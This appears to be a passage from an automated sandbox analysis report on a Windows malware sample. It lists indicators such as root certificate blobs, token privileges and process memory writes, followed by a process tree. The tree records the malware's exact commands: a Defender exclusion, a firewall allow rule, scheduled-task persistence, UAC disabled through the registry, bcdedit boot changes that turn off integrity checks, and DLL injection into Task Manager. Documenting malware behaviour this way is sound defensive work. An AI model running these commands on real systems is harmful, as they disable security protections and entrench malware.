030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6	patch.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D4DE20D05E66FC53FE1A50882C78DB2852CAE474	patch.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064\Blob = 0b000000010000004800000054006900740061006e00690075006d00200052006f006f007400200043006500720074006900660069006300610074006500200041007500740068006f00720069007400790000000200000001000000cc0000001c0000006c00000001000000000000000000000000000000010000007b00340031003700340034004200450034002d0031003100430035002d0034003900340043002d0041003200310033002d004200410030004300450039003400340039003300380045007d00000000004d006900630072006f0073006f0066007400200045006e00680061006e006300650064002000430072007900700074006f0067007200610070006800690063002000500072006f00760069006400650072002000760031002e00300000000000030000000100000014000000f1a578c4cb5de79a370893983fd4da8b67b2b06420000000010000000a03000030820306308201eea003020102020867f7beb96a4c2798300d06092a864886f70d01010b0500302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f72697479301e170d3233303331343130333532305a170d3236303631373130333532305a302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f7269747930820122300d06092a864886f70d01010105000382010f003082010a028201010086e4577a5861ce819177d005fa51d5515a936c610ccfcbde5332cd151da647ee881a245c9b02833b02af3d76fe20bd3bfaf7a20973e72ebd9440d09d8c3d2713bdf0d09feb9532acd7a42da2a952daa86a2a88ee427d30959d90bfba05276aa02998a6986fc01306629b79b8405d1f1fa6d9a42f827afc7566340dc2de27012b94bb4a27b3cb1c219a3cb2c14203f34451bd626520edd4dbcc414f593f2acbc48479f7143cbe139cfd129c913e5303dc20f94c44358901b69a848d7ea02e308a311560ac00ae009a29109aeed9713dd8919b97ed598058e17f0726c7a020f710abc06291dfaaf181c6be6a76c89cb68eb0b0ec1cd95f326c7e55588bfd76c5190203010001a328302630130603551d25040c300a06082b06010505070301300f0603551d130101ff040530030101ff300d06092a864886f70d01010b0500038201010070851293d757e982797dc5f7f27da894ef0cdb329f06a6096e0cf604b0e54711560ef40f5282082e210f55a3db41f312548b7611f5f0dacea3c78b13f6fc243c02b106665be69e184088415b273999b877bee353a248cec7eeb5a095c2174bc9526cafe3372c59dbfbe758134ed351e5147273fec68577ae4552a6f99ac80ca8d0ee422af528858c6be81cb0a8031ab0ae83c0eb5564f4e87a5c06295d3903eee2fdf92d62a7f4d4054deaa79bcaebda4e8b1a6efd42aef9d01c7075728cb13aa8557c85a72532b5e2d6c3e55041c9867ca8f562bbd2ab0c3710d83173ec3781d1dcaac5c6e07ee726624dfdc5814cffd336e17932f89beb9cf7fdbee9bebf61	jok.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D4DE20D05E66FC53FE1A50882C78DB2852CAE474\Blob = 040000000100000010000000acb694a59c17e0d791529bb19706a6e40f0000000100000014000000ce0e658aa3e847e467a147b3049191093d055e6f0b0000000100000034000000420061006c00740069006d006f007200650020004300790062006500720054007200750073007400200052006f006f007400000053000000010000002400000030223020060a2b06010401b13e01640130123010060a2b0601040182373c0101030200c0140000000100000014000000e59d5930824758ccacfa085436867b3ab5044df01d0000000100000010000000918ad43a9475f78bb5243de886d8103c09000000010000000c000000300a06082b06010505070301030000000100000014000000d4de20d05e66fc53fe1a50882c78db2852cae47419000000010000001000000068cb42b035ea773e52ef50ecf50ec52920000000010000007b030000308203773082025fa0030201020204020000b9300d06092a864886f70d0101050500305a310b300906035504061302494531123010060355040a130942616c74696d6f726531133011060355040b130a43796265725472757374312230200603550403131942616c74696d6f7265204379626572547275737420526f6f74301e170d3030303531323138343630305a170d3235303531323233353930305a305a310b300906035504061302494531123010060355040a130942616c74696d6f726531133011060355040b130a43796265725472757374312230200603550403131942616c74696d6f7265204379626572547275737420526f6f7430820122300d06092a864886f70d01010105000382010f003082010a0282010100a304bb22ab983d57e826729ab579d429e2e1e89580b1b0e35b8e2b299a64dfa15dedb009056ddb282ece62a262feb488da12eb38eb219dc0412b01527b8877d31c8fc7bab988b56a09e773e81140a7d1ccca628d2de58f0ba650d2a850c328eaf5ab25878a9a961ca967b83f0cd5f7f952132fc21bd57070f08fc012ca06cb9ae1d9ca337a77d6f8ecb9f16844424813d2c0c2a4ae5e60feb6a605fcb4dd075902d459189863f5a563e0900c7d5db2067af385eaebd403ae5e843e5fff15ed69bcf939367275cf77524df3c9902cb93de5c923533f1f2498215c079929bdc63aece76e863a6b97746333bd681831f0788d76bffc9e8e5d2a86a74d90dc271a390203010001a3453043301d0603551d0e04160414e59d5930824758ccacfa085436867b3ab5044df030120603551d130101ff040830060101ff020103300e0603551d0f0101ff040403020106300d06092a864886f70d01010505000382010100850c5d8ee46f51684205a0ddbb4f27258403bdf764fd2dd730e3a41017ebda2929b6793f76f6191323b8100af958a4d46170bd04616a128a17d50abdc5bc307cd6e90c258d86404feccca37e38c637114feddd68318e4cd2b30174eebe755e07481a7f70ff165c84c07985b805fd7fbe6511a30fc002b4f852373904d5a9317a18bfa02af41299f7a34582e33c5ef59d9eb5c89e7c2ec8a49e4e08144b6dfd706d6b1a63bd64e61fb7cef0f29f2ebb1bb7f250887392c2e2e3168d9a3202ab8e18dde91011ee7e35ab90af3e30947ad0333da7650ff5fc8e9e62cf47442c015dbb1db532d247d2382ed0fe81dc326a1eb5ee3cd5fce7811d19c32442ea6339a9	patch.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2620	2219fa1e23dac10134da6a6be9d6634a250dc2fc4cfdac1ad48d6e41c9406203.exe
2888	explorha.exe
2008	rundll32.exe
2008	rundll32.exe
2008	rundll32.exe
2008	rundll32.exe
2008	rundll32.exe
2564	powershell.exe
1244	jok.exe
1244	jok.exe
2704	powershell.exe
1716	FykBDDaqRGg1QNd3nMWeo2cZ.exe
3064	BYbtyXRfEAJ1b2gqaDMUiI5i.exe
1612	RulIkNIievDhgHPXlkoZaAnm.exe
2832	BYbtyXRfEAJ1b2gqaDMUiI5i.exe
2832	BYbtyXRfEAJ1b2gqaDMUiI5i.exe
2832	BYbtyXRfEAJ1b2gqaDMUiI5i.exe
2832	BYbtyXRfEAJ1b2gqaDMUiI5i.exe
2832	BYbtyXRfEAJ1b2gqaDMUiI5i.exe
2076	RulIkNIievDhgHPXlkoZaAnm.exe
2076	RulIkNIievDhgHPXlkoZaAnm.exe
2076	RulIkNIievDhgHPXlkoZaAnm.exe
2076	RulIkNIievDhgHPXlkoZaAnm.exe
2076	RulIkNIievDhgHPXlkoZaAnm.exe
2276	7gXkkaa0tPpkaDzU52e7XxmQ.exe
1632	FykBDDaqRGg1QNd3nMWeo2cZ.exe
1632	FykBDDaqRGg1QNd3nMWeo2cZ.exe
1632	FykBDDaqRGg1QNd3nMWeo2cZ.exe
1632	FykBDDaqRGg1QNd3nMWeo2cZ.exe
1632	FykBDDaqRGg1QNd3nMWeo2cZ.exe
1880	7gXkkaa0tPpkaDzU52e7XxmQ.exe
1880	7gXkkaa0tPpkaDzU52e7XxmQ.exe
1880	7gXkkaa0tPpkaDzU52e7XxmQ.exe
1880	7gXkkaa0tPpkaDzU52e7XxmQ.exe
1880	7gXkkaa0tPpkaDzU52e7XxmQ.exe
2816	run.exe
2816	run.exe
900	injector.exe
900	injector.exe
900	injector.exe
900	injector.exe
900	injector.exe
900	injector.exe
900	injector.exe
652	cmd.exe
652	cmd.exe
900	injector.exe
900	injector.exe
900	injector.exe
900	injector.exe
900	injector.exe
900	injector.exe
900	injector.exe
900	injector.exe
900	injector.exe
900	injector.exe
900	injector.exe
900	injector.exe
900	injector.exe
900	injector.exe
900	injector.exe
900	injector.exe
900	injector.exe
900	injector.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
480	Process not Found

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
2816	run.exe
652	cmd.exe
652	cmd.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1668	file300un.exe
Token: SeDebugPrivilege	2564	powershell.exe
Token: SeDebugPrivilege	2704	powershell.exe
Token: SeDebugPrivilege	2684	CasPol.exe
Token: SeDebugPrivilege	1716	FykBDDaqRGg1QNd3nMWeo2cZ.exe
Token: SeImpersonatePrivilege	1716	FykBDDaqRGg1QNd3nMWeo2cZ.exe
Token: SeDebugPrivilege	3064	BYbtyXRfEAJ1b2gqaDMUiI5i.exe
Token: SeImpersonatePrivilege	3064	BYbtyXRfEAJ1b2gqaDMUiI5i.exe
Token: SeDebugPrivilege	1612	RulIkNIievDhgHPXlkoZaAnm.exe
Token: SeImpersonatePrivilege	1612	RulIkNIievDhgHPXlkoZaAnm.exe
Token: SeDebugPrivilege	2276	7gXkkaa0tPpkaDzU52e7XxmQ.exe
Token: SeImpersonatePrivilege	2276	7gXkkaa0tPpkaDzU52e7XxmQ.exe
Token: SeSystemEnvironmentPrivilege	2876	csrss.exe
Token: SeDebugPrivilege	2776	MSBuild.exe
Token: SeDebugPrivilege	1244	jok.exe
Token: SeDebugPrivilege	1644	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
Token: SeDebugPrivilege	2796	powershell.exe
Token: SeDebugPrivilege	1280	powershell.exe
Token: SeIncreaseQuotaPrivilege	2364	WMIC.exe
Token: SeSecurityPrivilege	2364	WMIC.exe
Token: SeTakeOwnershipPrivilege	2364	WMIC.exe
Token: SeLoadDriverPrivilege	2364	WMIC.exe
Token: SeSystemProfilePrivilege	2364	WMIC.exe
Token: SeSystemtimePrivilege	2364	WMIC.exe
Token: SeProfSingleProcessPrivilege	2364	WMIC.exe
Token: SeIncBasePriorityPrivilege	2364	WMIC.exe
Token: SeCreatePagefilePrivilege	2364	WMIC.exe
Token: SeBackupPrivilege	2364	WMIC.exe
Token: SeRestorePrivilege	2364	WMIC.exe
Token: SeShutdownPrivilege	2364	WMIC.exe
Token: SeDebugPrivilege	2364	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2364	WMIC.exe
Token: SeRemoteShutdownPrivilege	2364	WMIC.exe
Token: SeUndockPrivilege	2364	WMIC.exe
Token: SeManageVolumePrivilege	2364	WMIC.exe
Token: 33	2364	WMIC.exe
Token: 34	2364	WMIC.exe
Token: 35	2364	WMIC.exe
Token: SeDebugPrivilege	2000	powershell.exe
Token: SeDebugPrivilege	804	powershell.EXE
Token: SeSecurityPrivilege	2276	sc.exe
Token: SeSecurityPrivilege	2276	sc.exe
Token: SeDebugPrivilege	2304	powershell.exe
Token: SeAssignPrimaryTokenPrivilege	328	WMIC.exe
Token: SeIncreaseQuotaPrivilege	328	WMIC.exe
Token: SeSecurityPrivilege	328	WMIC.exe
Token: SeTakeOwnershipPrivilege	328	WMIC.exe
Token: SeLoadDriverPrivilege	328	WMIC.exe
Token: SeSystemtimePrivilege	328	WMIC.exe
Token: SeBackupPrivilege	328	WMIC.exe
Token: SeRestorePrivilege	328	WMIC.exe
Token: SeShutdownPrivilege	328	WMIC.exe
Token: SeSystemEnvironmentPrivilege	328	WMIC.exe
Token: SeUndockPrivilege	328	WMIC.exe
Token: SeManageVolumePrivilege	328	WMIC.exe
Token: SeDebugPrivilege	1728	powershell.exe
Token: SeDebugPrivilege	1484	powershell.exe
Token: SeAssignPrimaryTokenPrivilege	2664	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2664	WMIC.exe
Token: SeSecurityPrivilege	2664	WMIC.exe
Token: SeTakeOwnershipPrivilege	2664	WMIC.exe
Token: SeLoadDriverPrivilege	2664	WMIC.exe
Token: SeSystemtimePrivilege	2664	WMIC.exe
Token: SeBackupPrivilege	2664	WMIC.exe

Suspicious use of FindShellTrayWindow 8 IoCs

pid	Process
2620	2219fa1e23dac10134da6a6be9d6634a250dc2fc4cfdac1ad48d6e41c9406203.exe
628	uuw.3.exe
628	uuw.3.exe
628	uuw.3.exe
628	uuw.3.exe
628	uuw.3.exe
628	uuw.3.exe
628	uuw.3.exe

Suspicious use of SendNotifyMessage 7 IoCs

pid	Process
628	uuw.3.exe
628	uuw.3.exe
628	uuw.3.exe
628	uuw.3.exe
628	uuw.3.exe
628	uuw.3.exe
628	uuw.3.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2776	MSBuild.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2620 wrote to memory of 2888	2620	2219fa1e23dac10134da6a6be9d6634a250dc2fc4cfdac1ad48d6e41c9406203.exe	28
PID 2620 wrote to memory of 2888	2620	2219fa1e23dac10134da6a6be9d6634a250dc2fc4cfdac1ad48d6e41c9406203.exe	28
PID 2620 wrote to memory of 2888	2620	2219fa1e23dac10134da6a6be9d6634a250dc2fc4cfdac1ad48d6e41c9406203.exe	28
PID 2620 wrote to memory of 2888	2620	2219fa1e23dac10134da6a6be9d6634a250dc2fc4cfdac1ad48d6e41c9406203.exe	28
PID 2888 wrote to memory of 2868	2888	explorha.exe	30
PID 2888 wrote to memory of 2868	2888	explorha.exe	30
PID 2888 wrote to memory of 2868	2888	explorha.exe	30
PID 2888 wrote to memory of 2868	2888	explorha.exe	30
PID 2888 wrote to memory of 2868	2888	explorha.exe	30
PID 2888 wrote to memory of 2868	2888	explorha.exe	30
PID 2888 wrote to memory of 2868	2888	explorha.exe	30
PID 2868 wrote to memory of 3012	2868	swiiiii.exe	32
PID 2868 wrote to memory of 3012	2868	swiiiii.exe	32
PID 2868 wrote to memory of 3012	2868	swiiiii.exe	32
PID 2868 wrote to memory of 3012	2868	swiiiii.exe	32
PID 2868 wrote to memory of 3012	2868	swiiiii.exe	32
PID 2868 wrote to memory of 3012	2868	swiiiii.exe	32
PID 2868 wrote to memory of 3012	2868	swiiiii.exe	32
PID 2868 wrote to memory of 3012	2868	swiiiii.exe	32
PID 2868 wrote to memory of 3012	2868	swiiiii.exe	32
PID 2868 wrote to memory of 3012	2868	swiiiii.exe	32
PID 2868 wrote to memory of 3012	2868	swiiiii.exe	32
PID 2868 wrote to memory of 3012	2868	swiiiii.exe	32
PID 2868 wrote to memory of 3012	2868	swiiiii.exe	32
PID 3012 wrote to memory of 2720	3012	RegAsm.exe	33
PID 3012 wrote to memory of 2720	3012	RegAsm.exe	33
PID 3012 wrote to memory of 2720	3012	RegAsm.exe	33
PID 3012 wrote to memory of 2720	3012	RegAsm.exe	33
PID 2868 wrote to memory of 780	2868	swiiiii.exe	34
PID 2868 wrote to memory of 780	2868	swiiiii.exe	34
PID 2868 wrote to memory of 780	2868	swiiiii.exe	34
PID 2868 wrote to memory of 780	2868	swiiiii.exe	34
PID 2888 wrote to memory of 1620	2888	explorha.exe	35
PID 2888 wrote to memory of 1620	2888	explorha.exe	35
PID 2888 wrote to memory of 1620	2888	explorha.exe	35
PID 2888 wrote to memory of 1620	2888	explorha.exe	35
PID 1620 wrote to memory of 1572	1620	NewB.exe	56
PID 1620 wrote to memory of 1572	1620	NewB.exe	56
PID 1620 wrote to memory of 1572	1620	NewB.exe	56
PID 1620 wrote to memory of 1572	1620	NewB.exe	56
PID 2888 wrote to memory of 1244	2888	explorha.exe	484
PID 2888 wrote to memory of 1244	2888	explorha.exe	484
PID 2888 wrote to memory of 1244	2888	explorha.exe	484
PID 2888 wrote to memory of 1244	2888	explorha.exe	484
PID 2888 wrote to memory of 2228	2888	explorha.exe	91
PID 2888 wrote to memory of 2228	2888	explorha.exe	91
PID 2888 wrote to memory of 2228	2888	explorha.exe	91
PID 2888 wrote to memory of 2228	2888	explorha.exe	91
PID 2228 wrote to memory of 1660	2228	swiiii.exe	43
PID 2228 wrote to memory of 1660	2228	swiiii.exe	43
PID 2228 wrote to memory of 1660	2228	swiiii.exe	43
PID 2228 wrote to memory of 1660	2228	swiiii.exe	43
PID 2228 wrote to memory of 1660	2228	swiiii.exe	43
PID 2228 wrote to memory of 1660	2228	swiiii.exe	43
PID 2228 wrote to memory of 1660	2228	swiiii.exe	43
PID 2228 wrote to memory of 1660	2228	swiiii.exe	43
PID 2228 wrote to memory of 1660	2228	swiiii.exe	43
PID 2228 wrote to memory of 1660	2228	swiiii.exe	43
PID 2228 wrote to memory of 1660	2228	swiiii.exe	43
PID 2228 wrote to memory of 1660	2228	swiiii.exe	43
PID 2228 wrote to memory of 1660	2228	swiiii.exe	43
PID 2888 wrote to memory of 1668	2888	explorha.exe	44
PID 2888 wrote to memory of 1668	2888	explorha.exe	44
PID 2888 wrote to memory of 1668	2888	explorha.exe	44

System policy modification 1 TTPs 1 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	file300un.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2219fa1e23dac10134da6a6be9d6634a250dc2fc4cfdac1ad48d6e41c9406203.exe
"C:\Users\Admin\AppData\Local\Temp\2219fa1e23dac10134da6a6be9d6634a250dc2fc4cfdac1ad48d6e41c9406203.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Identifies Wine through registry keys
- Loads dropped DLL
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:2620
- C:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exe
  "C:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Identifies Wine through registry keys
  - Loads dropped DLL
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2888
- - C:\Users\Admin\AppData\Local\Temp\1000066001\swiiiii.exe
    "C:\Users\Admin\AppData\Local\Temp\1000066001\swiiiii.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious use of WriteProcessMemory
    PID:2868
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3012
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3012 -s 256
        5⤵
        Program crash
        
        PID:2720
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2868 -s 496
      4⤵
      Loads dropped DLL
      Program crash
      PID:780
- - C:\Users\Admin\AppData\Local\Temp\1000069001\NewB.exe
    "C:\Users\Admin\AppData\Local\Temp\1000069001\NewB.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:1620
  - - C:\Windows\SysWOW64\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN NewB.exe /TR "C:\Users\Admin\AppData\Local\Temp\1000069001\NewB.exe" /F
      4⤵
      Creates scheduled task(s)
      PID:1572
- - C:\Users\Admin\AppData\Local\Temp\1000071001\jok.exe
    "C:\Users\Admin\AppData\Local\Temp\1000071001\jok.exe"
    3⤵
    - Blocklisted process makes network request
    - Executes dropped EXE
    - Modifies system certificate store
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1244
- - C:\Users\Admin\AppData\Local\Temp\1000073001\swiiii.exe
    "C:\Users\Admin\AppData\Local\Temp\1000073001\swiiii.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious use of WriteProcessMemory
    PID:2228
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      Checks processor information in registry
      PID:1660
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1660 -s 768
        5⤵
        Program crash
        
        PID:2972
- - C:\Users\Admin\AppData\Local\Temp\1000075001\file300un.exe
    "C:\Users\Admin\AppData\Local\Temp\1000075001\file300un.exe"
    3⤵
    - UAC bypass
    - Executes dropped EXE
    - Checks whether UAC is enabled
    - Suspicious use of SetThreadContext
    - Suspicious use of AdjustPrivilegeToken
    - System policy modification
    PID:1668
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\1000075001\file300un.exe" -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2704
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"
      4⤵
      PID:2324
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
      4⤵
      Loads dropped DLL
      Suspicious use of AdjustPrivilegeToken
      PID:2684
    - - C:\Users\Admin\Pictures\7NRcYl09HvRjdKBCB6nChH7K.exe
        
        "C:\Users\Admin\Pictures\7NRcYl09HvRjdKBCB6nChH7K.exe"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1112
      - C:\Users\Admin\AppData\Local\Temp\uuw.0.exe
        
        "C:\Users\Admin\AppData\Local\Temp\uuw.0.exe"
        6⤵
        Executes dropped EXE
        
        PID:2704
      - C:\Users\Admin\AppData\Local\Temp\uuw.2\run.exe
        
        "C:\Users\Admin\AppData\Local\Temp\uuw.2\run.exe"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        
        PID:2816
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\SysWOW64\cmd.exe
        7⤵
        Loads dropped DLL
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        
        PID:652
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        8⤵
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        
        PID:2776
      - C:\Users\Admin\AppData\Local\Temp\uuw.3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\uuw.3.exe"
        6⤵
        Executes dropped EXE
        Checks SCSI registry key(s)
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:628
        
        C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD1
        7⤵
        Loads dropped DLL
        Suspicious use of AdjustPrivilegeToken
        
        PID:1644
    - - C:\Users\Admin\Pictures\BYbtyXRfEAJ1b2gqaDMUiI5i.exe
        
        "C:\Users\Admin\Pictures\BYbtyXRfEAJ1b2gqaDMUiI5i.exe"
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3064
      - C:\Users\Admin\Pictures\BYbtyXRfEAJ1b2gqaDMUiI5i.exe
        
        "C:\Users\Admin\Pictures\BYbtyXRfEAJ1b2gqaDMUiI5i.exe"
        6⤵
        Windows security bypass
        Executes dropped EXE
        Loads dropped DLL
        Windows security modification
        Adds Run key to start application
        Checks for VirtualBox DLLs, possible anti-VM trick
        Drops file in Windows directory
        Modifies data under HKEY_USERS
        Suspicious behavior: EnumeratesProcesses
        
        PID:2832
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        7⤵
        
        PID:2252
        
        C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        8⤵
        Modifies Windows Firewall
        Modifies data under HKEY_USERS
        
        PID:2544
        
        C:\Windows\rss\csrss.exe
        
        C:\Windows\rss\csrss.exe
        7⤵
        Drops file in Drivers directory
        Executes dropped EXE
        Loads dropped DLL
        Adds Run key to start application
        Manipulates WinMon driver.
        Manipulates WinMonFS driver.
        Drops file in Windows directory
        Modifies data under HKEY_USERS
        Modifies system certificate store
        Suspicious use of AdjustPrivilegeToken
        
        PID:2876
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
        8⤵
        Creates scheduled task(s)
        
        PID:1868
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /delete /tn ScheduledUpdate /f
        8⤵
        
        PID:1516
        
        C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
        
        "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
        8⤵
        Executes dropped EXE
        Loads dropped DLL
        Modifies system certificate store
        
        PID:1784
        
        C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER
        9⤵
        Modifies boot configuration data using bcdedit
        
        PID:1768
        
        C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:
        9⤵
        Modifies boot configuration data using bcdedit
        
        PID:2636
        
        C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:
        9⤵
        Modifies boot configuration data using bcdedit
        
        PID:1728
        
        C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows
        9⤵
        Modifies boot configuration data using bcdedit
        
        PID:856
        
        C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe
        9⤵
        Modifies boot configuration data using bcdedit
        
        PID:2304
        
        C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe
        9⤵
        Modifies boot configuration data using bcdedit
        
        PID:2280
        
        C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 0
        9⤵
        Modifies boot configuration data using bcdedit
        
        PID:2496
        
        C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn
        9⤵
        Modifies boot configuration data using bcdedit
        
        PID:1612
        
        C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 1
        9⤵
        Modifies boot configuration data using bcdedit
        
        PID:2712
        
        C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}
        9⤵
        Modifies boot configuration data using bcdedit
        
        PID:2420
        
        C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast
        9⤵
        Modifies boot configuration data using bcdedit
        
        PID:2296
        
        C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -timeout 0
        9⤵
        Modifies boot configuration data using bcdedit
        
        PID:324
        
        C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -default {71A3C7FC-F751-4982-AEC1-E958357E6813}
        9⤵
        Modifies boot configuration data using bcdedit
        
        PID:2628
        
        C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
        
        C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
        8⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:900
        
        C:\Windows\system32\bcdedit.exe
        
        C:\Windows\Sysnative\bcdedit.exe /v
